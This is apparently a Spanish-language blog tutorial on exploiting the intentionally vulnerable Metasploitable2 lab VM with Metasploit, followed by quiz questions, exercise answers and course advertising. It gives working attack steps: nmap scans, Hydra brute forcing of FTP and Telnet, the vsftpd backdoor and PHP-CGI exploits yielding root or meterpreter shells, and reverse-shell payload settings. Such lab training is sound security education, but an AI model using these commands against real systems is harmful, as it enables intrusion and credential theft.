Ahora pulsaremos en el botón Iniciar para comenzar el proceso de instalación del sistema.
Este proceso tarda alrededor de 5 minutos y veremos lo siguiente:
Las credenciales de acceso son:
- Usuario: msfadmin
- Contraseña: msfadmin
De esta forma podremos usar Metasploitable con todas las pruebas necesarias.
Iniciando con Metasploit y metasploitable2
Recuerde configurar en su máquina virtual la red como adaptador puente
Una vez inicializado metasploitable2 (de ahora en más MS2) con el user y la pass msfadmin ejecute el comando ifconfig para identificar su IP.
Podemos ver que en este caso la ip es: 192.168.0.121
- Escaneo de red
El primer paso podemos iniciar el escaneo de red usando nmap -Pn -sV <ip target>.
Desde Kali Linux identificaremos los servicios de red abiertos en esta máquina virtual mediante NMAP. La siguiente línea de comandos escaneará todos los puertos TCP en la instancia de Metasploitable 2:
nmap -p0- 65535 192.168.0.121
También usted puede hacer:
nmap -Pn -sV 192.168.0.121
Casi todos estos servicios de escucha proporcionan un punto de entrada remoto al sistema.
Pruebas de penetración en servicios comunes
Las pruebas de penetración en servicios como HTTP, FTP, SSH, TELNET son esenciales para evaluar la seguridad de un sistema. A continuación, se describen algunos pasos generales y técnicas comunes utilizadas en este tipo de pruebas utilizaremos Metasploit y Metasploitable:
HTTP (Servidor Web):
- Escaneo de Puertos: Utilizar herramientas como Nmap para identificar servicios activos, incluyendo HTTP en el puerto 80 y HTTPS en el puerto 443.
- Análisis de Tecnologías Web: Utilizar herramientas como Wappalyzer o BuiltWith para identificar las tecnologías y plataformas web utilizadas en el servidor.
- Enumeración de Directorios y Archivos: Utilizar herramientas como dirb, dirbuster o gobuster para enumerar directorios y archivos en el servidor web.
- Escaneo de Vulnerabilidades Web: Utilizar herramientas como Nikto o OWASP ZAP para realizar escaneos de vulnerabilidades en la aplicación web.
- Explotación de Vulnerabilidades Conocidas: Si se encuentran vulnerabilidades conocidas, utilizar exploits apropiados para verificar la explotación controlada.
- Inyección de SQL y XSS: Probar la seguridad contra inyecciones SQL y ataques de scripting entre sitios (XSS) utilizando herramientas como SQLMap o Burp Suite.
El puerto 80 es el puerto predeterminado para los servicios http (páginas web). En un análisis anterior determinamos que el puerto 80 está abierto. Ahora es el momento de determinar qué se ejecuta detrás de ese puerto.
Buscamos cual es la IP. En este caso es 192.168.1.49.
Primero haga un escaneo de nmap:
Db_nmap -sV 192.168.1.49 -p 80
Es Apache ejecutándose en Ubuntu. Intentemos recopilar más información con un escáner auxiliar:
use auxiliary/scanner/http/http_version
> show options
set RHOST 192.168.1.49
> run
Es Apache 2.2.8 con PHP 5.2.4. Podemos navegar hasta ‘ http://192.168.231.109/phpinfo.php ‘ y confirmar la información ya recopilada:
Probemos otros módulos http para obtener más información sobre nuestro servidor:
‘dir_listing’ determinará si el listado de directorios está habilitado:
> use auxiliary/scanner/http/dir_listing
> show options
set RHOST 192.168.1.49
> run
Sin suerte. ‘dir_scanner’ buscará directorios interesantes:
> use auxiliary/scanner/http/dir_scanner
> show options
set RHOST 192.168.1.49
> run
Tenemos 6 directorios. Revisar su contenido podría darnos una ventaja para hackear nuestro objetivo. Probemos con otro módulo, ‘files_dir’:
> use auxiliary/scanner/http/files_dir
> show options
set RHOST 192.168.1.49
> run
Una vez más, estos resultados podrían marcar la diferencia y deberíamos echarles un vistazo. Otro módulo de interés id ‘options’, ‘robots_txt’ y ‘verb_auth_bypass’:
> use auxiliary/scanner/http/verb_auth_bypass
> show options
set RHOST 192.168.1.49
> run
Y muchos módulos más que te invito a probar.
Hagamos uso de la información que recopilamos
Busquemos en exploitDB Apache con la versión de PHP:
$ searchsploit apache | grep 5.4.2
Se encontró ejecución remota de código CGI. Explotémoslo:
> use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.1.49
>run
¡¡Tenemos un shell meterpreter!! ¡¡¡Happy hacking!!!
El puerto 80 es una buena fuente de información y aprovecha como cualquier otro puerto. Volveremos a este puerto para las aplicaciones web instaladas. En este artículo obtuvimos información sobre los servicios en ejecución y encontramos un exploit que nos proporcionó un shell.
FTP (Protocolo de Transferencia de Archivos):
- Escaneo de Puertos: Utilizar herramientas como Nmap para identificar servicios activos, incluyendo FTP en el puerto 21.
- Enumeración de Usuarios Anónimos: Verificar si el servidor FTP permite conexiones anónimas y si ofrece acceso a información sensible.
- Intentos de Acceso No Autorizado: Intentar acceder al servidor FTP con credenciales débiles o por defecto para evaluar la seguridad de autenticación.
- Escaneo de Directorios: Utilizar herramientas como Nmap o dirb para escanear directorios en el servidor FTP.
- Transferencia de Archivos: Subir y descargar archivos para evaluar la integridad del control de acceso y la seguridad del sistema.
- Explotación de Vulnerabilidades Conocidas: Si se encuentran vulnerabilidades conocidas en el servidor FTP, utilizar exploits apropiados para verificar la explotación controlada.
Explotación de FTP (Puerto 21):
FTP (File Transfer Protocol) es un protocolo de red estándar que se utiliza para transferir archivos entre un cliente y un servidor en una red informática. Permite cargar y descargar archivos, lo que proporciona una forma sencilla de compartir y administrar datos.
– Método 1: Establecer una conexión utilizando credenciales FTP.
Comando: `ftp 192.168.137.128`
Comencemos explotando el puerto 21 ejecutando FTP con Hydra y dos listas de palabras para la operación, tenemos nombres de usuario y contraseñas predeterminados.
Método 2: Explotación del puerto 21: FTP con Hydra
Ya tenemos todos nuestros puertos y servicios enumerados. Comencemos por explotar el puerto 21 ejecutando FTP. Usaremos Hydra para esto. Las dos listas de palabras para esta operación tendrán nombres de inicio de sesión y contraseñas predeterminados.
Hydra nos muestra que tenemos 4 ID de inicio de sesión y contraseñas válidas.
sudo hydra -L user.txt -P pass.txt 192.168.0.121 ftp
Método 3: Explotar FTP a través del framework Metasploit.
msfconsole
Search vsftpd
Use exploit/unix/ftp/vsftpd_234_backdoor
Set RHOST 192.168.0.121
Run
¡Felicitaciones! Hemos obtenido acceso root mediante exploits FTP.
Explotación del puerto 22 SSH
Metasploit tiene una función auxiliar que usaremos en el servicio SSH que se ejecuta en el puerto 22. Una vez que obtengamos nuestra sesión a través de él, lo actualizaremos a Meterpreter.
Este módulo probará los inicios de sesión ssh en una variedad de máquinas e informará los inicios de sesión exitosos. Si ha cargado un complemento de base de datos y se ha conectado a una base de datos, este módulo registrará los inicios de sesión y los hosts exitosos para que pueda realizar un seguimiento de su acceso.
Explotación de Telnet (Puerto 23):
Telnet es un protocolo de red simple basado en texto que se utiliza para acceder a computadoras remotas a través de redes TCP/IP como Internet.
Conectarse a Telnet usando el comando: `telnet 192.168.137.128`.
Método 2: Explotación del puerto 23 con Hydra
Método 3: Explotación de TELNET con MF6
Este módulo probará un inicio de sesión de Telnet en una variedad de máquinas e informará los inicios de sesión exitosos. Si ha cargado un complemento de base de datos y se ha conectado a una base de datos, este módulo registrará los inicios de sesión y hosts exitosos para que pueda realizar un seguimiento de su acceso. Para esto se utilizará la misma contraseña y el mismo archivo de usuario de antes.
use auxiliary/scanner/telnet/telnet_login msf auxiliary (scanner/telnet/telnet_login)
set rhosts 192.168.1.103 msf auxiliary (scanner/telnet/telnet_login) > set user_file /root/Desktop/user.txt msf auxiliary (scanner/telnet/telnet_login)
set pass_file /root/Desktop/pass.txt msf auxiliary (scanner/telnet/telnet_login)
set stop_on_success true msf auxiliary (scanner/telnet/telnet_login) > run
Enumeración de usuarios SMTP del puerto 25
Kali viene con una herramienta llamada “ Smtp-User-Enum ”, tiene múltiples modos que tratan diferentes facetas de SMTP, la usaremos para verificar qué nombres de usuario SMTP existen en la máquina víctima.
Veremos que la herramienta nos permite saber cuáles son todos los nombres de usuario existentes que tengo guardados en mi archivo user.txt.
Explotación de VNC (Puerto 5900):
El puerto 5900 se asocia comúnmente con VNC (Virtual Network Computing), un sistema de uso compartido de escritorio remoto. Cuando se utiliza en combinación con VNC, el puerto 5900 suele ser el puerto predeterminado para la pantalla inicial (escritorio) en un servidor VNC. VNC permite a un usuario ver e interactuar con el entorno de escritorio gráfico de una computadora remota a través de una red.
Utilizing Metasploit to exploit VNC login.
msfconsole
use auxiliary/scanner/vnc/vnc_login
set RHOST 192.168.0.121
vncviewer 192.168.0.121
Ventana emergente de VNC
¡Felicitaciones! El acceso a la raíz está protegido mediante exploits de VNC.
Bindshell Exploitation
Metasploitable 2 viene con un servicio bindshell abierto que se ejecuta en el puerto 1524. Usaremos Netcat para conectarnos a él.
Puerto de acceso 2121 (ProFTPD)
Nos conectaremos a la máquina de destino mediante Telnet ejecutándose en el puerto 2121 usando las credenciales predeterminadas para Metasplotable 2.
Puntos clave del artículo y sus resúmenes
1. Qué es Metasploit y cómo funciona
- Resumen: Metasploit es una plataforma de pruebas de seguridad que ayuda a identificar y explotar vulnerabilidades en sistemas, con el objetivo de evaluar la seguridad. Fue desarrollado por Rapid7 y es ampliamente utilizado por hackers éticos y profesionales de seguridad.
2. Funciones clave de Metasploit
- Escaneo de vulnerabilidades: Permite identificar brechas en redes y aplicaciones.
- Explotación: Ofrece una amplia base de datos de exploits para atacar sistemas vulnerables.
- Post-explotación: Mantiene acceso a sistemas comprometidos para análisis posterior.
- Payloads personalizados: Ayuda a evadir defensas de seguridad.
- Generación de informes: Crea reportes detallados sobre las pruebas realizadas.
3. Metasploit en pruebas de penetración
- Resumen:
- Recopilación: Obtención de información inicial sobre el sistema.
- Exploración: Búsqueda de vulnerabilidades mediante módulos auxiliares.
- Explotación: Uso de exploits para comprometer sistemas.
- Post-explotación: Acceso mantenido y extracción de datos.
- Informe: Documentación de hallazgos y recomendaciones.
4. Categorías de módulos en Metasploit
- Exploits: Ataques específicos para vulnerabilidades conocidas.
- Payloads: Código que se ejecuta en el sistema objetivo tras explotar una vulnerabilidad.
- Post-explotación: Herramientas para escalar privilegios y mantener acceso.
- Auxiliares: Módulos para tareas como escaneo de puertos y fuerza bruta.
- Encoders: Evitan la detección por antivirus.
5. Uso ético de Metasploit
- Resumen: El uso de Metasploit debe estar guiado por principios éticos. Es esencial contar con el consentimiento del propietario del sistema y usarlo exclusivamente para pruebas de seguridad autorizadas.
6. Metasploitable2 como entorno de práctica
- Resumen:
- Metasploitable2 es una máquina virtual con vulnerabilidades intencionales diseñada para practicar pruebas de seguridad.
- Permite realizar ejercicios en HTTP, FTP, SSH y otros servicios, simulando entornos reales para mejorar habilidades en pentesting.
Conclusión:
Al concluir este capítulo, hemos explorado las capacidades avanzadas de Metasploit en la explotación de vulnerabilidades. Desde la creación de payloads personalizados hasta la evaluación de impactos, Metasploit se erige como un actor central en la fase de ataque ético. No obstante, recordemos que con gran poder viene una mayor responsabilidad; el uso de Metasploit debe ser ético y con el propósito de mejorar las defensas digitales.
Si has querido mejorar tus habilidades en seguridad cibernética pero nunca lo has logrado, ahora es definitivamente el momento de dar el siguiente paso. Considera nuestro curso Universidad Hacking. Todo en Ciberseguridad. Curso Completo con una excelente relación calidad-precio ¡Desarrolla tus habilidades cibernéticas y avanza en tu carrera!
Pon en práctica lo aprendido
Ahora pon a prueba lo aprendido con estas preguntas y ejercicios.
Preguntas sobre el contenido de Metasploit:
- ¿Qué es Metasploit y cuál es su propósito principal en ciberseguridad?
- ¿Cuáles son las principales funciones de Metasploit? Enumera al menos tres.
- ¿Qué tipos de módulos están disponibles en Metasploit y para qué se utilizan?
- ¿Cómo ayuda Metasploit en la fase de post-explotación durante un pentest?
- ¿Qué pasos debes seguir para configurar y ejecutar un módulo en Metasploit?
- ¿Qué es un payload en Metasploit y qué rol desempeña en la explotación de vulnerabilidades?
- ¿Cómo se realiza un escaneo básico de puertos y servicios utilizando Metasploit?
- ¿Qué herramientas o métodos puedes usar para enumerar usuarios SMTP en el puerto 25?
- ¿Qué es Metasploitable 2 y para qué se utiliza en pruebas de penetración?
- ¿Por qué es importante usar Metasploit de manera ética y con autorización previa?
Ejercicios basados en el contenido de Metasploit:
- Inicia MSFConsole y realiza un escaneo de red utilizando
db_nmap
. Guarda los resultados en la base de datos de Metasploit. - Busca un módulo de explotación para un servicio HTTP identificado y configura los parámetros necesarios para ejecutarlo.
- Enumera y selecciona un payload adecuado para un exploit específico en Metasploit. Describe su funcionalidad.
- Configura un ataque al puerto FTP (21) utilizando Hydra para descubrir credenciales débiles y verifica los resultados con Metasploit.
- Usa Metasploit para realizar una prueba de explotación en el puerto 23 (Telnet) de un sistema Metasploitable 2.
- Utiliza el módulo auxiliar de HTTP en Metasploit para buscar directorios y archivos ocultos en un servidor web.
- Configura y ejecuta un módulo para analizar el puerto SMTP (25) en busca de usuarios válidos.
- Realiza un análisis completo de vulnerabilidades en un servicio FTP utilizando Metasploit y escribe un informe con los hallazgos.
- Explora las opciones avanzadas de un módulo de explotación en Metasploit y experimenta con la configuración de parámetros personalizados.
- Crea un payload personalizado en Metasploit para establecer una conexión inversa y úsalo en un exploit controlado.
Respuestas a las preguntas:
- Definición de Metasploit:
Es una plataforma de pruebas de seguridad diseñada para identificar y explotar vulnerabilidades en sistemas informáticos, utilizada principalmente en pruebas de penetración y evaluaciones de seguridad. - Funciones principales:
- Escaneo de vulnerabilidades: Identifica debilidades en sistemas y redes.
- Explotación de vulnerabilidades: Permite acceder a sistemas explotando fallos conocidos.
- Post-explotación: Facilita mantener acceso y realizar tareas avanzadas en sistemas comprometidos.
- Tipos de módulos en Metasploit:
- Exploits: Para explotar vulnerabilidades.
- Payloads: Código que se ejecuta en el sistema objetivo tras la explotación.
- Auxiliary: Herramientas de soporte para escaneo y enumeración.
- Encoders: Ofuscan payloads para evitar detección.
- Post: Para tareas posteriores a la explotación.
- Post-explotación:
Incluye actividades como escalar privilegios, exfiltrar datos, instalar backdoors y realizar análisis internos del sistema comprometido. - Configuración de módulos:
- Buscar un módulo con
search
. - Cargarlo con
use <nombre del módulo>
. - Configurar parámetros con
set
ysetg
. - Verificar opciones con
show options
. - Ejecutar con
run
oexploit
.
- Buscar un módulo con
- Payload en Metasploit:
Es el código que se ejecuta tras explotar una vulnerabilidad. Por ejemplo, un shell inverso permite al atacante controlar remotamente el sistema objetivo. - Escaneo básico con Metasploit:
Utilizardb_nmap <IP objetivo>
para escanear la red y guardar los resultados en la base de datos. - Enumeración de usuarios SMTP:
Herramientas comosmtp-user-enum
permiten verificar usuarios válidos en servidores SMTP utilizando nombres de usuario comunes o diccionarios personalizados. - Metasploitable 2:
Es un sistema operativo diseñado para ser vulnerable y utilizado en prácticas de pentesting y pruebas de seguridad. - Importancia de la ética:
Metasploit es una herramienta poderosa que puede causar daños si se usa incorrectamente. Siempre debe emplearse con autorización y en el marco de pruebas éticas.
Respuestas a los ejercicios:
- Escaneo con
db_nmap
:- Comando:
db_nmap -sV 192.168.1.0/24
. - Resultado: Identificación de hosts activos y servicios. Los datos se guardan en la base de datos de Metasploit.
- Comando:
- Búsqueda y configuración de módulo HTTP:
- Buscar:
search type:auxiliary http
. - Usar:
use auxiliary/scanner/http/dir_scanner
. - Configurar:
set RHOSTS <IP objetivo>
yset THREADS 10
. - Ejecutar:
run
.
- Buscar:
- Seleccionar payload:
- Comando:
show payloads
. - Ejemplo: Seleccionar
set payload windows/meterpreter/reverse_tcp
. - Función: Establece una conexión inversa para control remoto.
- Comando:
- Ataque FTP con Hydra y Metasploit:
- Comando Hydra:
hydra -L users.txt -P passwords.txt ftp://<IP objetivo>
. - En Metasploit:
use auxiliary/scanner/ftp/ftp_login
, configurarRHOST
yUSERPASS_FILE
.
- Comando Hydra:
- Explotación de Telnet:
- Comando:
use auxiliary/scanner/telnet/telnet_login
. - Configuración:
set RHOSTS <IP>
yset USER_FILE users.txt
. - Ejecución:
run
.
- Comando:
- Búsqueda de directorios:
- Comando:
use auxiliary/scanner/http/dir_listing
. - Configuración:
set RHOST <IP>
yset RPORT 80
. - Resultado: Listado de directorios visibles.
- Comando:
- Enumeración SMTP:
- Comando:
use auxiliary/scanner/smtp/smtp_enum
. - Configuración:
set RHOSTS <IP>
yset USER_FILE users.txt
. - Resultado: Usuarios válidos identificados.
- Comando:
- Análisis de vulnerabilidades FTP:
- Comando:
use auxiliary/scanner/ftp/ftp_version
. - Configuración:
set RHOSTS <IP>
. - Resultado: Detalles de versiones y posibles fallos.
- Comando:
- Opciones avanzadas de módulo:
- Comando:
show advanced
. - Experimento: Modificar tiempo de espera (
set TIMEOUT 100
) y reintentos (set RETRY 3
).
- Comando:
- Payload personalizado:
- Crear:
set payload linux/x64/meterpreter_reverse_tcp
. - Configurar:
set LHOST <IP atacante>
yset LPORT <puerto>
. - Ejecutar:
exploit
.
- Crear:
Escalada de Privilegios
La escalada de privilegios es el proceso mediante el cual un atacante, que ya tiene acceso limitado o no privilegiado a un sistema, eleva su nivel de permisos para obtener mayores privilegios y controlar más recursos.
Tipos:
- Escalada Horizontal: Se obtiene acceso a otras cuentas o recursos con el mismo nivel de privilegio. Por ejemplo, comprometer la cuenta de otro usuario en el mismo sistema.
- Escalada Vertical: Se eleva el nivel de privilegios, como pasar de un usuario normal a administrador o root.
Objetivo: Controlar recursos críticos del sistema o ejecutar acciones restringidas, como acceder a archivos protegidos, instalar programas o deshabilitar configuraciones de seguridad.
Ejemplo Práctico:
- Un atacante obtiene acceso a una cuenta de usuario básica.
- Utiliza una vulnerabilidad local, como una mala configuración del sistema o una falla en el kernel, para obtener privilegios administrativos.
- Con privilegios elevados, accede a datos sensibles o controla el sistema por completo.
Herramientas Comunes:
- Mimikatz (Windows)
- LinPEAS/LinEnum (Linux)
- PowerShell Empire
- Exploits de vulnerabilidades específicas (por ejemplo, CVEs conocidos).
No te detengas, sigue avanzando
Aquí tienes un propósito para este 2025 que debes considerar seriamente: si has querido mejorar tus habilidades en hacking, Ciberseguridad y programación ahora es definitivamente el momento de dar el siguiente paso. ¡Desarrolla tus habilidades aprovechando nuestros cursos a un precio increíble y avanza en tu carrera! El mundo necesita más hackers…
¿Quieres iniciarte en hacking y ciberseguridad pero no sabes por dónde empezar? Inicia leyendo nuestra guia gratuita: Cómo Iniciarse en Hacking y Ciberseguridad en 2025 que te lleva de 0 a 100. Desde los fundamentos más básicos, pasando por cursos, recursos y certificaciones hasta cómo obtener tu primer empleo.
Hemos creado una ruta de 0 a 100. Un plan de desarrollo que va desde las bases: cómo aprender hacking, qué aprender, en qué orden; pasando por las areas técnicas necesarias como Linux, Redes, Programación y los conocimientos necesarios en ciber seguridad, hacking, pentesting hasta la práctica y el inicio laboral: Crear tu propio laboratorio, certificaciones, adquirir experiencia e iniciarse laboralmente.
Hacker de 0 a 100 desde las bases hasta conseguir empleo
Este es un mega post. Una guía con más de 400 artículos que te llevaran por el camino del hacker. Esta guía es gratuita y esta creada gracias al esfuerzo y al trabajo combinado de Alvaro Chirou y mío (Laprovittera Carlos).
Creamos esta guía: Cómo Iniciarse en Hacking y Ciberseguridad en 2025 y curso: Cómo iniciarse en Hacking y Ciberseguridad para que puedas iniciarte en este mundo. Puedes arrancar ahora, GRATIS, solo necesitas un PC, conexión a internet y paciencia (Ser hacker NO ES un camino de la noche a la mañana).
El Hacking y la ciberseguridad es una carrera divertida, emocionante y gratificante que te recompensará y desafiará por igual. Sin embargo, para quienes buscan adentrarse en este campo en auge y en constante evolución, puede resultar difícil saber por dónde empezar. ¡Ahí es donde entra en juego nuestra guía en ciberseguridad!
Esta es la hoja de ruta hacia el trabajo de ciberseguridad de tus sueños. Te ayudará a entender qué conocimientos, habilidades y certificados son necesarios para alcanzar tus metas profesionales y tener una carrera próspera. Si quieres ser consultor de ciberseguridad, analista de malware, evaluador de penetración, analista de SOC o cualquier otro puesto de ciberseguridad, esta guía es lo que necesitas.
Esta guía va a tener una actualización constante durante todo el año. Para no hacer de esta guía un post maratónicamente largo voy a dividirlo en varios capítulos que van desde como iniciar en hacking y ciberseguridad, pasando por conocimientos básicos como Redes, Linux, Programación, Hasta como obtener certificaciones y trabajo. Cada capítulo contiene links a otros posts en donde desarrollo mejor cada tema y a webs externas que complementan este material.
Lo que vas a aprender en esta guía de Hacking y Ciberseguridad
Esta es la guía completa de Cómo Iniciarse en Hacking y Ciberseguridad en 2025:
- La mejor forma de Aprender Hacking y Ciberseguridad en 2025
- Lo que tienes que saber antes de empezar tu vida de hacker
- Habilidades y Competencias que debe tener un Hacker Profesional
- El Camino del Hacker – Las 3 etapas de una carrera exitosa
- Inicia tu carrera como Hacker – GENERAL CYBER SECURITY
- Qué es Realmente el Hacking y Cómo Puedo Trabajar Legalmente
- Tipos de Hackers y Teams
- Cómo Iniciarse en Hacking y Redes en 2025
- Hardware para Hacking de Redes
- Cómo Iniciarse en Hacking y Linux en 2025
- Cómo Iniciarse en Hacking y Programación en 2025
- Python para hackers en 2025
- Cómo Aprender Inglés para Hackers: Guía Definitiva 2025
- Arma tu PC ideal para Hacking en 2025
- Cómo crear un Laboratorio de Hacking en 2025
- Las 500 Mejores Herramientas para Hackers
- Cómo obtener Práctica como Hacker en 2025
- Cómo Iniciarse en CTF en 2025 y Aprender a Hackear practicando
- Mas de 100 Webs de CTF para Practicar hacking en 2025
- Cómo Obtener tus Primeras Certificaciones en 2025
- Las 10 Mejores Certificaciones de Hacking en 2025
- IA y Hacking en 2025
- OSINT en 2025 Guía Definitiva
- Hardware para Hackers en 2025
- Guia Definitiva de Flipper Zero
- Cómo Iniciarse como Pentester en 2025
- Iniciarse como Pentester en 2025 – Reconocimiento y Enumeración
- Cómo Identificar Sistemas Vulnerables y Recopilar información
- Explotación de Vulnerabilidades con Metasploit
- Post Explotación, Pivoting y Movimiento Lateral
- Reporte del Pentest, Remediación y Seguimiento
- Inicia en hacking y ciberseguridad como analista SOC en 2025
- Cómo Conseguir Trabajo de Hacker en 2025
- Como Iniciarse en Bug Bounty en 2025
- Cómo Aumentar tu Salario Pasando de Hacker Jr a Sr
- Cómo Avanzar en tu Carrera de Hacker y llegar a ser CISO
- SIGUE APRENDIENDO EN NUESTRO BLOG
Aprende con nuestros más de 100 cursos que tenemos disponibles para vos
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
Sobre los autores
Álvaro Chirou
Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 2.000.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma. Puedes seguirme en mis redes:
Laprovittera Carlos
Soy Laprovittera Carlos. Con más de 20 años de experiencia en IT brindo Educación y Consultoría en Seguridad de la Información para profesionales, bancos y empresas. Puedes seguirme en mis redes:
Compartimos estos recursos para ayudar a la comunidad de hacking y ciberseguridad. COMPARTE y Siéntete libre de agregar más sugerencias en los comentarios a continuación, respondemos todos y cada uno de los comentarios.